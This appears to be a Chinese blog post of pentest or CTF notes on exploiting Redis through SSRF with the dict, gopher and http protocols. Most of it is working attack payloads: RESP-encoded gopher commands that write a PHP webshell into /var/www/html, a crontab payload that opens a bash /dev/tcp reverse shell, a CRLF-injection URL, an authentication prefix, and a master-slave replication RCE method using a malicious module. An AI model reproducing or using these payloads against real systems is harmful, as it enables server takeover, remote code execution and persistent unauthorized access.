ssrf與redis安全
阿新 • • 發佈:2020-08-01
基礎命令
- 遠端登入
redis-cli -h host -p port -a password
- 鍵
SET runoobkey redis
DEL runoobkey
keys *
獲取所有鍵值
- 字串
get runoobkey
- 連線
AUTH "password"
驗證密碼
Redis客戶端支援管道操作,可以通過單個寫入操作傳送多個命令,而無需在發出下一個命令之前讀取上一個命令的伺服器回覆。所有的回覆都可以在最後閱讀
dict/gopher/http
dict
只能執行一條命令dict://0.0.0.0:6379/auth pass
,所以無法用來攻擊需要認證的redis
gopher
gopher://ip:port/_
通常用_
,並不是只能用_
,gopher協議會將第一個字元"吃掉"。http
如果使用存在crlf注入的方式,一樣可以用http來攻擊redishttp://127.0.0.1:6379?%0d%0aKEYS%20*%0d%0apadding
攻擊方式
攻擊需要認證的redis
在payload前加上%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A
寫webshell
推薦工具Gopherus
urldecode工具生成的payload,具體含義可以參考淺析SSRF認證攻擊Redis
*1
$8
flushall
*3
$3
set
$1
1
$34
<?php system($_GET['cmd']); ?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
翻譯成redis命令大概就是
flushall set 1 "\n\n<?php system($_GET['cmd']); ?>\n\n" config set dir /var/www/html config set dbfilename shell.php save
可見利用的是redis資料庫備份的功能來寫webshell
寫crontab反彈shell(僅限centos)
*1
$8
flushall
*3
$3
set
$1
1
$64
*/1 * * * * bash -c "sh -i >& /dev/tcp/127.0.0.1/1234 0>&1"
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
原理和寫webshell一樣,只是改成寫crontab
flushall
set 1 "\n\n*/1 * * * * bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"\n\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
主從複製
GKCTF-EzWeb+redis未授權訪問
初探Redis-wdb玄武組ssrfme&pwnhub公開賽
我們redis主從複製RCE的方式,其實就是利用了redis簡潔的協議,構造惡意伺服器,將原本用於儲存備份的rdb檔案,替換為我們惡意的exp.so。這樣節點redis中就會自動生成exp.so,使得我們可以用load_module進行rce.
rogue-server.py
來自https://github.com/xmsec/redis-ssrf,用這裡的ssrf-redis.py
生成執行命令的payload
exp.so
來自https://github.com/n0b0dyCN/redis-rogue-server